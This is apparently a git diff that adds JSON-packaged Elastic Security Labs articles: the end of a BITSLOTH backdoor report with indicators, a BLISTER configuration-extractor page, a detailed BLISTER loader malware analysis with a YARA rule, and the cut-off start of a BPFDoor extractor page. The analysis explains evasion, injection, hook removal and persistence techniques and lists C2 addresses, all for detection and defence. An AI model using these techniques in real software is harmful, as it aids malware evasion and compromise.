and STIX format in a combined zip bundle.\n\nThe following observables were discussed in this research.\n\n| Observable | Type | Name | Reference |\n| ----- | ----- | ----- | ----- |\n| 4a4356faad620bf12ff53bcfac62e12eb67783bd22e66bf00a19a4c404bf45df | SHA-256 | ```s.dll``` | BITSLOTH |\n| dfb76bcf5a3e29225559ebbdae8bdd24f69262492eca2f99f7a9525628006d88 | SHA-256 | ```125.exe``` | BITSLOTH |\n| 4fb6dd11e723209d12b2d503a9fcf94d8fed6084aceca390ac0b7e7da1874f50 | SHA-256 | ```setup_wm.exe``` | BITSLOTH |\n| 0944b17a4330e1c97600f62717d6bae7e4a4260604043f2390a14c8d76ef1507 | SHA-256 | ```1242.exe``` | BITSLOTH |\n| 0f9c0d9b77678d7360e492e00a7fa00af9b78331dc926b0747b07299b4e64afd | SHA-256 | ```setup_wm.exe``` | BITSLOTH (VMProtect) |\n| 216.238.121[.]132 | ipv4-addr | BITSLOTH C2 server |\n| 45.116.13[.]178 | ipv4-addr | BITSLOTH C2 server |\n| 15.235.132[.]67 | ipv4-addr | BITSLOTH C2 server |\n| http ://updater.microsoft.com/index.aspx | | | BITSLOTH file indicator |\n| updater.microsoft.com | | | BITSLOTH file indicator |\n\n## References\nThe following were referenced throughout the above research:\n\n - [https://github.com/SafeBreach-Labs/SimpleBITSServer/tree/master](https://github.com/SafeBreach-Labs/SimpleBITSServer/tree/master)\n - [https://github.com/T4y1oR/RingQ](https://github.com/T4y1oR/RingQ)\n - [https://github.com/EddieIvan01/iox](https://github.com/EddieIvan01/iox)\n - [https://github.com/ph4ntonn/Stowaway/](https://github.com/ph4ntonn/Stowaway/)\n\n## About Elastic Security Labs\n\nElastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.\n\nFollow Elastic Security Labs on Twitter [@elasticseclabs](https://twitter.com/elasticseclabs?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor) and check out our research at [www.elastic.co/security-labs/](https://www.elastic.co/security-labs/). " + }, + "title": "BITS and Bytes: Analyzing BITSLOTH, a newly identified backdoor", + "slug": "bits-and-bytes-analyzing-bitsloth", + "date": "2024-08-01", + "description": "Elastic Security Labs identified a novel Windows backdoor leveraging the Background Intelligent Transfer Service (BITS) for C2. This malware was found during a recent activity group tracked as REF8747.", + "author": [ + { + "slug": "seth-goodwin" + }, + { + "slug": "daniel-stepanic" + } + ], + "image": "Security Labs Images 29.jpg", + "category": [ + { + "slug": "malware-analysis" + } + ] + }, + "id": "security_labs_content-bits_and_bytes_analyzing_bitsloth-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-blister_configuration_extractor-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-blister_configuration_extractor-md.json new file mode 100644 index 00000000000..f33b4b554a1 --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-blister_configuration_extractor-md.json @@ -0,0 +1,28 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"BLISTER Configuration Extractor\"\nslug: \"blister-configuration-extractor\"\ndate: \"2022-12-06\"\ndescription: \"Python script to extract the configuration and payload from BLISTER samples.\"\nauthor:\n - slug: elastic-security-labs\nimage: \"tools-image.jpg\"\ncategory:\n - slug: tools\ntags:\n - blister\n - ref7890\n---\n\nPython script to extract the configuration and payload from BLISTER samples.\n\n[Download blister-config-extractor.tar.gz](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt9bce8a0e1a513bd5/62882db13b9b8554904a4baa/blister-config-extractor.tar.gz)\n\n## Getting Started\n\nThis tool provides a Python module and command line tool that will extract configurations from the BLISTER malware loader and dump the results to screen.\n\n> For information on the BLISTER malware loader and campaign observations, check out our blog posts detailing this:\n>\n> - [BLISTER Campaign Analysis](https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign)\n> - [BLISTER Malware Analysis](https://www.elastic.co/security-labs/blister-loader)\n\n### Docker\n\nWe can easily run the extractor with Docker, first we need to build the image:\n\n```\ndocker build . -t blister-config-extractor\n```\n\nThen we run the container with the **-v** flag to map a host directory to the docker container directory:\n\n```\ndocker run -ti --rm -v \\\n\"$(pwd)/binaries\":/binaries blister-config-extractor:latest -d /binaries/\n\n```\n\nWe can either specify a single sample with **-f** option or a directory of samples with **-d**.\n\n![BLISTER configuration extrator output](/assets/images/blister-configuration-extractor/blister-configuration-extractor-image41.jpg)\n\n### Running it Locally\n\nAs mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses [Poetry](https://python-poetry.org/) to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.\n\n```\npoetry lock\npoetry install\npoetry shell\nblister-config-extractor -h\n\n```\n\nOnce that works, you can do the same sort of things as mentioned in the Docker instructions above.\n\n## References\n\n- Customised Rabbit cipher implementation based on [Rabbit-Cipher](https://github.com/Robin-Pwner/Rabbit-Cipher/)\n" + }, + "title": "BLISTER Configuration Extractor", + "slug": "blister-configuration-extractor", + "date": "2022-12-06", + "description": "Python script to extract the configuration and payload from BLISTER samples.", + "author": [ + { + "slug": "elastic-security-labs" + } + ], + "image": "tools-image.jpg", + "category": [ + { + "slug": "tools" + } + ], + "tags": [ + "blister", + "ref7890" + ] + }, + "id": "security_labs_content-blister_configuration_extractor-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-blister_loader-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-blister_loader-md.json new file mode 100644 index 00000000000..bc4b3eaef75 --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-blister_loader-md.json @@ -0,0 +1,34 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"BLISTER Loader\"\nslug: \"blister-loader\"\ndate: \"2023-04-13\"\ndescription: \"The BLISTER loader continues to be actively used to load a variety of malware.\"\nauthor:\n - slug: cyril-francois\n - slug: daniel-stepanic\n - slug: salim-bitam\nimage: \"blog-thumb-power-lines.jpg\"\ncategory:\n - slug: malware-analysis\ntags:\n - blister\n - malware\n---\n\n## Key Takeaways\n\n- BLISTER is a loader that continues to stay under the radar, actively being used to load a variety of malware including clipbankers, information stealers, trojans, ransomware, and shellcode\n- In-depth analysis shows heavy reliance of Windows Native API’s, several injection capabilities, multiple techniques to evade detection, and counter static/dynamic analysis\n- Elastic Security is providing a configuration extractor that can be used to identify key elements of the malware and dump the embedded payload for further analysis\n- 40 days after the initial reporting on the BLISTER loader by Elastic Security, we observed a change in the binary to include additional architectures. This shows that this is an actively developed tool and the authors are watching defensive countermeasures\n\n> For information on the BLISTER malware loader and campaign observations, check out our blog post and configuration extractor detailing this:\n>\n> - [BLISTER Campaign Analysis](https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign)\n> - [BLISTER Configuration Extractor](https://www.elastic.co/security-labs/blister-configuration-extractor)\n\n## Overview\n\nThe Elastic Security team has continually been monitoring the BLISTER loader since our initial [release](https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign) at the end of last year. This family continues to remain largely unnoticed, with low detection rates on new samples.\n\n![Example of BLISTER loader detection rates](/assets/images/blister-loader/blister-loader-image37.jpg)\n\nA distinguishing characteristic of BLISTER’s author is their method of tampering with legitimate DLLs to bypass static analysis. During the past year, Elastic Security has observed the following legitimate DLL’s patched by BLISTER malware:\n\n| Filename | Description |\n| -------------- | ------------------------------------------------------------------ |\n| dxgi.dll | DirectX Graphics Infrastructure |\n| WIAAut.DLL | WIA Automation Layer |\n| PowerCPL.DLL | Power Options Control Panel |\n| WIMGAPI.DLL | Windows Imaging Library |\n| rdpencom.dll | RDPSRAPI COM Objects |\n| colorui.dll | Microsoft Color Control Panel. |\n| termmgr.dll | Microsoft TAPI3 Terminal Manager |\n| libcef.dll | Chromium Embedded Framework (CEF) Dynamic Link Library |\n| CEWMDM.DLL | Windows CE WMDM Service Provider |\n| intl.dll | LGPLed libintl for Windows NT/2000/XP/Vista/7 and Windows 95/98/ME |\n| vidreszr.dll | Windows Media Resizer |\n| sppcommdlg.dll | Software Licensing UI API |\n\nDue to the way malicious code is embedded in an otherwise benign application, BLISTER may be challenging for technologies that rely on some forms of machine learning. Combined with code-signing defense evasion, BLISTER appears designed with security technologies in mind.\n\nOur research shows that BLISTER is actively developed and has been [linked](https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html?utm_source=trendmicroresearch&utm_medium=smk&utm_campaign=0422_Socgholish) in public reporting to [LockBit](https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit) ransomware and the [SocGholish](https://redcanary.com/threat-detection-report/threats/socgholish/) framework; in addition, Elastic has also observed BLISTER in relation to the following families: [Amadey](https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey), [BitRAT](https://malpedia.caad.fkie.fraunhofer.de/details/win.bit_rat), [Clipbanker](https://malpedia.caad.fkie.fraunhofer.de/details/win.clipbanker), [Cobalt Strike](https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike), [Remcos](https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos), and [Raccoon](https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon) along with others.\n\nIn this post, we will explain how BLISTER continues to operate clandestinely, highlight the loader’s core capabilities (injection options, obfuscation, and anti-analysis tricks) as well as provide a configuration extractor that can be used to dump BLISTER embedded payloads.\n\nConsider the following [sample](https://www.virustotal.com/gui/file/afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2) representative of BLISTER for purposes of this analysis. This sample was also used to develop the initial BLISTER family YARA signature, the configuration extraction script, and evaluate tools against against unknown x32 and x64 BLISTER samples.\n\n## Execution Flow\n\nThe execution flow consists of the following phases:\n\n- Deciphering the second stage\n- Retrieving configuration and packed payload\n- Payload unpacking\n- Persistence mechanisms\n- Payload injection\n\n### Launch / Entry Point\n\nDuring the first stage of the execution flow, BLISTER is embedded in a legitimate version of the [colorui.dll](https://www.virustotal.com/gui/file/1068e40851b243a420cb203993a020d0ba198e1ec6c4d95f0953f81e13046973/details) library. The threat actor, with a previously achieved foothold, uses the Windows built-in rundll32.exe utility to load BLISTER by calling the export function **LaunchColorCpl** :\n\n```\nRundll32 execution arguments\n\nrundll32.exe \"BLISTER.dll,LaunchColorCpl\"\n```\n\nThe image below demonstrates how BLISTER’s DLL is modified, noting that the export start is patched with a function call (line 17) to the malware entrypoint.\n\n![Export of Patched BLISTER DLL](/assets/images/blister-loader/blister-loader-image13.jpg)\n\nIf we compare one of these malicious loaders to the original DLL they masquerade as, we can see where the patch was made, the function no longer exists:\n\n![Export of Original DLL Used by BLISTER](/assets/images/blister-loader/blister-loader-image11.jpg)\n\n### Deciphering Second Stage\n\nBLISTER’s second stage is ciphered in its [resource section](https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#the-rsrc-section) (.rsrc).\n\nThe deciphering routine begins with a loop based sleep to evade detection:\n\n![Initial Sleep Mechanism](/assets/images/blister-loader/blister-loader-image35.jpg)\n\nBLISTER then enumerates and hashes each export of ntdll, comparing export names against loaded module names; searching specifically for the **NtProtectVirtualMemory** API:\n\n![API Hash](/assets/images/blister-loader/blister-loader-image40.jpg)\n\nFinally, it looks for a memory region of 100,832 bytes by searching for a specific memory pattern, beginning its search at the return address and leading us in the .rsrc section. When found, BLISTER performs an eXclusive OR (XOR) operation on the memory region with a four-byte key, sets it’s page protection to PAGE_EXECUTE_READ with a call to NtProtectVirtualMemory, and call its second stage entry point with the deciphering key as parameter:\n\n![Memory Tag & Memory Region Setup](/assets/images/blister-loader/blister-loader-image49.jpg)\n\n### Obfuscation\n\nBLISTER’s second-stage involves obfuscating functions, scrambling their control flow by splitting their basic blocks with unconditional jumps and randomizing basic blocks’ locations. An example of which appears below.\n\n![Function’s Control Flow Scrambling](/assets/images/blister-loader/blister-loader-image6.jpg)\n\nBLISTER inserts junk code into basic blocks as yet another form of defense evasion, as seen below.\n\n![Junk Code Insertion](/assets/images/blister-loader/blister-loader-image30.jpg)\n\n### Retrieving Configuration and Packed Payload\n\nBLISTER uses the previous stage’s four-byte key to locate and decipher its configuration.\n\nThe routine begins by searching its memory, beginning at return address, for its four-byte key XORed with a hardcoded value as memory pattern:\n\n![Memory pattern search loop](/assets/images/blister-loader/blister-loader-image24.jpg)\n\nWhen located, the 0x644 byte configuration is copied and XOR-decrypted with the same four-byte key:\n\n![Config decryption](/assets/images/blister-loader/blister-loader-image45.jpg)\n\nFinally, it returns a pointer to the beginning of the packed PE, which is after the 0x644 byte blob:\n\n![Pointer return to packed PE](/assets/images/blister-loader/blister-loader-image58.jpg)\n\nSee the [configuration structure](https://www.elastic.co/security-labs/blister-loader#configuration-structure) in the appendix.\n\n### Time Based Anti Debug\n\nAfter loading the configuration, and depending if the **kEnableSleepBasedAntiDebug** flag (0x800) is set, BLISTER calls its time-based anti-debug function:\n\n![Check configuration for Sleep function](/assets/images/blister-loader/blister-loader-image60.jpg)\n\nThis function starts by creating a thread with the Sleep Windows function as a starting address and 10 minutes as the argument:\n\n![Sleep function (600000 ms / 10 minutes)](/assets/images/blister-loader/blister-loader-image26.jpg)\n\nThe main thread will sleep using **NtDelayExecution** until the sleep thread has exited:\n\n![NtDelayExecution used with Sleep function](/assets/images/blister-loader/blister-loader-image8.jpg)\n\nFinally the function returns 0 when the sleep thread has run at least for 9 1/2 minutes:\n\n![Condition to end sleep thread](/assets/images/blister-loader/blister-loader-image57.jpg)\n\nIf not, the function will return 1 and the process will be terminated:\n\n![Process termination on sleep function if error](/assets/images/blister-loader/blister-loader-image16.jpg)\n\n### Windows API\n\n#### Blister’s GetModuleHandle\n\nBLISTER implements its own **GetModuleHandle** to evade detection, the function takes the library name hash as a parameter, iterates over the process [PEB LDR](https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data)’s modules and checks the hashed module’s name against the one passed in the parameter:\n\n![Function used to verify module names](/assets/images/blister-loader/blister-loader-image18.jpg)\n\n#### Blister’s GetProcAddress\n\nBLISTER’s **GetProcAddress** takes the target DLL and the export hash as a parameter, it also takes a flag that tells the function that the library is 64 bits.\n\nThe DLL can be loaded or mapped then the function iterates over the DLL’s export function names and compares their hashes with the ones passed in the parameter:\n\n![BLISTER’s GetProcAddress hash checking dll’s exports](/assets/images/blister-loader/blister-loader-image3.jpg)\n\nIf the export is found, and its virtual address isn’t null, it is returned:\n\n![Return export virtual address](/assets/images/blister-loader/blister-loader-image48.jpg)\n\nElse the DLL is **LdrLoaded** and BLISTER’s **GetProcAddress** is called again with the newly loaded dll:\n\n![LdrLoad the DLL and call GetProcAddress again](/assets/images/blister-loader/blister-loader-image19.jpg)\n\n#### Library Manual Mapping\n\nBLISTER manually maps a library using **NtCreateFile** in order to open a handle on the DLL file:\n\n![NtCreateFile used within mapping function](/assets/images/blister-loader/blister-loader-image56.jpg)\n\nNext it creates a section with the handle by calling **NtCreateSection** with the **SEC_IMAGE** attribute which tells Windows to loads the binary as a PE:\n\n![NtCreateSection used within mapping function](/assets/images/blister-loader/blister-loader-image31.jpg)\n\n_NtCreateSection used within mapping function_\n\nFinally it maps the section with **NtMapViewOfSection** :\n\n![NtMapViewofSection used within mapping function](/assets/images/blister-loader/blister-loader-image36.jpg)\n\n#### x32/x64 Ntdll Mapping\n\nFollowing the call to its anti-debug function, BLISTER manually maps 32 bit and 64 bit versions of NTDLL.\n\nIt starts by mapping the x32 version:\n\n![32 bit NTDLL mapping](/assets/images/blister-loader/blister-loader-image43.jpg)\n\nThen it disables [SysWOW64 redirection](https://docs.microsoft.com/en-us/windows/win32/winprog64/file-system-redirector):\n\n![SysWOW64 disabled](/assets/images/blister-loader/blister-loader-image17.jpg)\n\nAnd then maps the 64 bit version:\n\n![64 bit NTDLL mapping](/assets/images/blister-loader/blister-loader-image50.jpg)\n\nThen if available, the mapped libraries will be used with the **GetProcAddress** function, i.e:\n\n![Mapped libraries using GetProcAddress](/assets/images/blister-loader/blister-loader-image7.jpg)\n\n#### LdrLoading Windows Libraries and Removing Hooks\n\nAfter mapping 32 and 64 bit **NTDLL** versions BLISTER will **LdrLoad** several Windows libraries and remove potential hooks:\n\n![Function used to load Windows libraries and remove hooks](/assets/images/blister-loader/blister-loader-image5.jpg)\n\nFirst, it tries to convert the hash to the library name by comparing the hash against a fixed list of known hashes:\n\n![Hash comparison](/assets/images/blister-loader/blister-loader-image22.jpg)\n\nIf the hash is found BLISTER uses the **LdrLoad** to load the library:\n\n![Leveraging LdrLoad to load DLL](/assets/images/blister-loader/blister-loader-image53.jpg)\n\nThen BLISTER searches for the corresponding module in its own process:\n\n![Searching for module in own process](/assets/images/blister-loader/blister-loader-image15.jpg)\n\nAnd maps a fresh copy of the library with the module’s **FullDllName** :\n\n![Retrieving Module’s FullDllName](/assets/images/blister-loader/blister-loader-image10.jpg)\n\n![Manual Mapping function](/assets/images/blister-loader/blister-loader-image55.jpg)\n\nBLISTER then applies the relocation to the mapped library with the loaded one as the base address for the relocation calculation:\n\n![Performing relocation](/assets/images/blister-loader/blister-loader-image59.jpg)\n\nNext BLISTER iterates over each section of the loaded library to see if the section is executable:\n\n![Checking executable sections](/assets/images/blister-loader/blister-loader-image42.jpg)\n\nIf the section is executable, it is replaced with the mapped one, thus removing any hooks:\n\n![Section replacement](/assets/images/blister-loader/blister-loader-image47.jpg)\n\n#### x64 API Call\n\nBLISTER can call 64-bit library functions through the use of special 64-bit function wrapper:\n\n![BLISTER utilizing 64-bit function library caller](/assets/images/blister-loader/blister-loader-image29.jpg)\n\n![64-bit function library caller](/assets/images/blister-loader/blister-loader-image54.jpg)\n\nTo make this call BLISTER switches between 32-bit to 64-bit code using the old Heaven’s Gate [technique](https://blog.talosintelligence.com/2019/07/rats-and-stealers-rush-through-heavens.html):\n\n![Observed Heaven’s Gate byte sequences](/assets/images/blister-loader/blister-loader-image51.jpg)\n\n![Heaven’s Gate - Transition to 64 bit mode](/assets/images/blister-loader/blister-loader-image20.jpg)\n\n![Heaven’s Gate - Transition to 32 bit mode](/assets/images/blister-loader/blister-loader-image21.jpg)\n\n## Unpacking Payload\n\nDuring the unpacking process of the payload, the malware starts by allocating memory using **NtAllocateVirtualMemory** and passing in configuration information. A memcpy function is used to store a copy of encrypted/compressed payload in a buffer for next stage (decryption).\n\n![Unpacking BLISTER payload](/assets/images/blister-loader/blister-loader-image2.jpg)\n\n### Deciphering\n\nBLISTER leverages the Rabbit stream [cipher](), passing in the previously allocated buffer containing the encrypted payload, the compressed data size along with the 16-byte deciphering key and 8-byte IV.\n\n![Decipher function using the Rabbit cipher](/assets/images/blister-loader/blister-loader-image1.jpg)\n\n![Observed Rabbit Cipher Key and IV inside memory](/assets/images/blister-loader/blister-loader-image23.jpg)\n\n### Decompression\n\nAfter the decryption stage, the payload is then decompressed using **RtlDecompressBuffer** with the LZNT1 compression format.\n\n![Decompression function using LZNT1](/assets/images/blister-loader/blister-loader-image9.jpg)\n\n## Persistence Mechanism\n\nTo achieve persistence, BLISTER leverages Windows shortcuts by creating an LNK file inside the Windows startup folder. It creates a new directory using the **CreateDirectoryW** function with a unique hardcoded string found in the configuration file such as: C:\\ProgramData`UNIQUE STRING\\\\>`\n\nBLISTER then copies C:\\System32\\rundll32.exe and itself to the newly created directory and renames the files to UNIQUE STRING\\\\>.exe and UNIQUE STRING\\\\>.dll, respectively.\n\nBLISTER uses the **CopyModuleIntoFolder** function and the **IFileOperation** Windows **COM** interface for [bypassing UAC](https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies) when copying and renaming the files:\n\n![BLISTER function used to copy files](/assets/images/blister-loader/blister-loader-image46.jpg)\n\nThe malware creates an LNK file using **IShellLinkW COM** interface and stores it in `C:\\Users\\\\AppData\\Roaming\\Microsft\\Windows\\Start Menu\\Startup as UNIQUE STRING\\\\>.lnk`\n\n![Mapping shortcut to BLISTER with arguments](/assets/images/blister-loader/blister-loader-image25.jpg)\n\nThe LNK file is set to run the export function **LaunchColorCpl** of the newly copied malware with the renamed instance of rundll32. C:\\ProgramData\\UNIQUE STRING\\\\>\\UNIQUE STRING\\\\>.exe C:\\ProgramData\\UNIQUE STRING\\\\>\\UNIQUE STRING\\\\>.dll,LaunchColorCpl\n\n## Injecting Payload\n\nBLISTER implements 3 different injection techniques to execute the payload according to the configuration flag:\n\n![BLISTER injection techniques by config flag](/assets/images/blister-loader/blister-loader-image27.jpg)\n\n### Shellcode Execution\n\nAfter decrypting the shellcode, BLISTER is able to inject it to a newly allocated read write memory region with **NtAllocateVirtualMemory** API, it then copies the shellcode to it and it sets the memory region to read write execute with **NtProtectVirtualMemory** and then executes it.\n\n![Execute shellcode function](/assets/images/blister-loader/blister-loader-image28.jpg)\n\n### Own Process Injection\n\nBLISTER can execute DLL or Executable payloads reflectively in its memory space. It first creates a section with **NtCreateSection** API.\n\n![RunPE function](/assets/images/blister-loader/blister-loader-image39.jpg)\n\nBLISTER then tries to map a view on the created section at the payload’s preferred base address. In case the preferred address is not available and the payload is an executable it will simply map a view on the created section at a random address and then do relocation.\n\n![Check for conflicting addresses](/assets/images/blister-loader/blister-loader-image34.jpg)\n\nConversly, if the payload is a DLL, it will first unmap the memory region of the current process image and then it will map a view on the created section with the payload’s preferred address.\n\n![DLL unmapping](/assets/images/blister-loader/blister-loader-image33.jpg)\n\nBLISTER then calls a function to copy the PE headers and the sections.\n\n![Copying over PE/sections](/assets/images/blister-loader/blister-loader-image12.jpg)\n\nFinally, BLISTER executes the loaded payload in memory starting from its entry point if the payload is an executable. In case the payload is a DLL, it will find its export function according to the hash in the config file and execute it.\n\n### Process Hollowing\n\nBLISTER is able to perform [process hollowing](https://attack.mitre.org/techniques/T1055/012/) in a remote process:\n\nFirst, there is an initial check for a specific module hash value (0x12453653), if met, BLISTER performs process hollowing against the Internet Explorer executable.\n\n![Internet Explorer option for process hollowing](/assets/images/blister-loader/blister-loader-image32.jpg)\n\nIf not, the malware performs remote process hollowing with **Werfault.exe**. BLISTER follows standard techniques used for process hollowing.\n\n![Process hollowing function](/assets/images/blister-loader/blister-loader-image44.jpg)\n\nThere is one path within this function: if certain criteria are met matching Windows OS versions and build numbers the hollowing technique is performed by dropping a temporary file on disk within the **AppData** folder titled **Bg.Agent.ETW** with an explicit extension.\n\n![Compatibility Condition check](/assets/images/blister-loader/blister-loader-image52.jpg)\n\n![Compatibility Condition function](/assets/images/blister-loader/blister-loader-image14.jpg)\n\n![Temporary file used to store payload](/assets/images/blister-loader/blister-loader-image4.jpg)\n\nThe malware uses this file to read and write malicious DLL to this file. Werfault.exe is started by BLISTER and then the contents of this temporary DLL are loaded into memory into the Werfault process and the file is shortly deleted after.\n\n![Procmon output of compatibility function](/assets/images/blister-loader/blister-loader-image38.jpg)\n\n## Configuration Extractor\n\nAutomating the configuration and payload extraction from BLISTER is a key aspect when it comes to threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors which enable us to discover new unknown samples and Cobalt Strike instances in a timely manner.\n\nOur extractor uses a [Rabbit stream cipher implementation](https://github.com/Robin-Pwner/Rabbit-Cipher) and takes either a directory of samples with **-d** option or **-f** for a single sample,\n\n![Config extractor output](/assets/images/blister-loader/blister-loader-image41.jpg)\n\nTo enable the community to further defend themselves against existing and new variants of the BLISTER loader, we are making the configuration extractor open source under the Apache 2 License. The configuration extractor documentation and binary download can be accessed [here](https://www.elastic.co/security-labs/blister-configuration-extractor).\n\n## Conclusion\n\nBLISTER continues to be a formidable threat, punching above its own weight class, distributing popular malware families and implants leading to major compromises. Elastic Security has been tracking BLISTER for months and we see no signs of this family slowing down.\n\nFrom reversing BLISTER, our team was able to identify key functionality such as different injection methods, multiple techniques for defense evasion using anti-debug/anti-analysis features and heavy reliance on Windows Native API’s. We also are releasing a configuration extractor that can statically retrieve actionable information from BLISTER samples as well as dump out the embedded payloads.\n\n## Appendix\n\n### Configuration Structure\n\n```\nBLISTER configuration structure\n\nstruct Config {\n uint16_t flag;\n uint32_t payload_export_hash;\n wchar_t w_payload_filename_and_cmdline[783];\n size_t compressed_data_size;\n size_t uncompressed_data_size;\n uint8_t pe_deciphering_key[16];\n uint8_t pe_deciphering_iv[8];\n};\n\n```\n\n### Configuration’s Flags\n\n```\nBLISTER configuration files\n\nenum Config::Flags {\n kDoPersistance = 0x1,\n kOwnProcessReflectiveInjectionMethod = 0x2,\n kOwnProcessHollowingMethod = 0x8,\n kRemoteProcessHollowingMethod = 0x10,\n kExecutePayloadExport = 0x20,\n kExecuteShellcodeMethod = 0x40,\n kInjectWithCmdLine = 0x80,\n kSleepAfterInjection = 0x100,\n kEnableSleepBasedAntiDebug = 0x800,\n};\n```\n\n### Hashing Algorithm\n\n```\nBLISTER hashing algorithm\n\nuint32_t HashLibraryName(wchar_t *name) {\n uint32_t name {0};\n while (*name) {\n hash = ((hash >> 23) | (hash << 9)) + *name++;\n }\n return hash ;\n}\n```\n\n### Indicators\n\n| Indicator | Type | Note |\n| ---------------------------------------------------------------- | ------ | ----------- |\n| afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2 | SHA256 | BLISTER DLL |\n\n## YARA Rule\n\nThis updated YARA rule has shown a 13% improvement in detection rates.\n\n```\nBLISTER YARA rule\n\nrule Windows_Trojan_BLISTER {\n meta:\n Author = \"Elastic Security\"\n creation_date = \"2022-04-29\"\n last_modified = \"2022-04-29\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"BLISTER\"\n threat_name = \"Windows.Trojan.BLISTER\"\n description = \"Detects BLISTER loader.\"\n reference_sample = \"afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2\"\n\n strings:\n $a1 = { 8D 45 DC 89 5D EC 50 6A 04 8D 45 F0 50 8D 45 EC 50 6A FF FF D7 }\n $a2 = { 75 F7 39 4D FC 0F 85 F3 00 00 00 64 A1 30 00 00 00 53 57 89 75 }\n $a3 = { 78 03 C3 8B 48 20 8B 50 1C 03 CB 8B 78 24 03 D3 8B 40 18 03 FB 89 4D F8 89 55 E0 89 45 E4 85 C0 74 3E 8B 09 8B D6 03 CB 8A 01 84 C0 74 17 C1 C2 09 0F BE C0 03 D0 41 8A 01 84 C0 75 F1 81 FA B2 17 EB 41 74 27 8B 4D F8 83 C7 02 8B 45 F4 83 C1 04 40 89 4D F8 89 45 F4 0F B7 C0 3B 45 E4 72 C2 8B FE 8B 45 04 B9 }\n $b1 = { 65 48 8B 04 25 60 00 00 00 44 0F B7 DB 48 8B 48 ?? 48 8B 41 ?? C7 45 48 ?? ?? ?? ?? 4C 8B 40 ?? 49 63 40 ?? }\n $b2 = { B9 FF FF FF 7F 89 5D 40 8B C1 44 8D 63 ?? F0 44 01 65 40 49 2B C4 75 ?? 39 4D 40 0F 85 ?? ?? ?? ?? 65 48 8B 04 25 60 00 00 00 44 0F B7 DB }\n condition:\n any of them\n}\n```\n\n## References\n\n- [https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign](https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign)\n- [https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html](https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html?utm_source=trendmicroresearch&utm_medium=smk&utm_campaign=0422_Socgholish)\n- [https://redcanary.com/threat-detection-report/threats/socgholish/](https://redcanary.com/threat-detection-report/threats/socgholish/)\n\n## Artifacts\n\nArtifacts are also available for [download](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blte5a55b99e66b4794/628e88d91cd65960bcff2862/blister-indicators.zip) in both ECS and STIX format in a combined zip bundle.\n" + }, + "title": "BLISTER Loader", + "slug": "blister-loader", + "date": "2023-04-13", + "description": "The BLISTER loader continues to be actively used to load a variety of malware.", + "author": [ + { + "slug": "cyril-francois" + }, + { + "slug": "daniel-stepanic" + }, + { + "slug": "salim-bitam" + } + ], + "image": "blog-thumb-power-lines.jpg", + "category": [ + { + "slug": "malware-analysis" + } + ], + "tags": [ + "blister", + "malware" + ] + }, + "id": "security_labs_content-blister_loader-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-bpfdoor_configuration_extractor-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-bpfdoor_configuration_extractor-md.json new file mode 100644 index 00000000000..377da1712a8 --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-bpfdoor_configuration_extractor-md.json @@ -0,0 +1,27 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"BPFDoor Configuration Extractor\"\nslug: \"bpfdoor-configuration-extractor\"\ndate: \"2022-12-06\"\ndescription: \"Configuration extractor to dump out hardcoded passwords with BPFDoor.\"\nauthor:\n - slug: elastic-security-labs\nimage: \"tools-image.jpg\"\ncategory:\n - slug: tools\ntags:\n - bpfdoor\n---\n\nConfiguration extractor to dump out hardcoded passwords with BPFDoor.\n\n[Download bpfdoor-config-extractor.tar.gz](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt3f57100ade3473c5/62882ccdb4fa6b61ed70ba87/bpfdoor-config-extractor.tar.gz)\n\n## Overview\n\nThis tool provides a Python module and command line tool that will extract passwords from BPFDoor samples.\n\n> The Elastic Security Team has released an indepth analysis of the BPFDoor malware and created an additional tool that will scan for BPFDoor infected hosts.\n>\n> - 